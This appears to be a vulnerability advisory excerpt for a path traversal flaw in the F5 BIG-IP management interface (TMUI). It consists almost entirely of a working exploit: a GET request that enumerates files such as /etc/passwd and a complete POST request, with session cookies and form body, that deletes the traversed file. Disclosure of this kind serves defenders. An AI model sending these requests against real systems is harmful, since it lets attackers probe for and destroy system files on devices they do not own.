±-----------------------------------------------------+
±------------+
±---------------------+
In order to trigger the flaw, send a HTTP GET request similar to: https://<ip>/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=…/…/…/…/…/etc/passwd
Condition: If file does not exist the application will return “File not found.” If the file exists, the user can either send, a similar to, the next HTTP POST request or simply click on the Delete button through the GUI -the button will be displayed only if the enumerated file exists-.
Sample HTTP POST request:
POST /tmui/Control/form HTTP/1.1
Host: <ip>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://<ip>/tmui/Control/jspmap/tmui/system/archive/properties.jsp?name=…/…/…/…/…/etc/passwd
Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=“”; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage=“/tmui/system/archive/properties.jsp?&name=…/…/…/…/…/etc/passwd”; f5currenttab=“main”; f5mainmenuopenlist=“”; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D…/…/…/…/…/etc/passwd
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 937
form_holder_opener=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=…%2F…%2F…%2F…%2F…%2Fetc%2Fpasswd&name_before=…%2F…%2F…%2F…%2F…%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+…%2F…%2F…%2F…%2F…%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete
±---------+
±--------------------+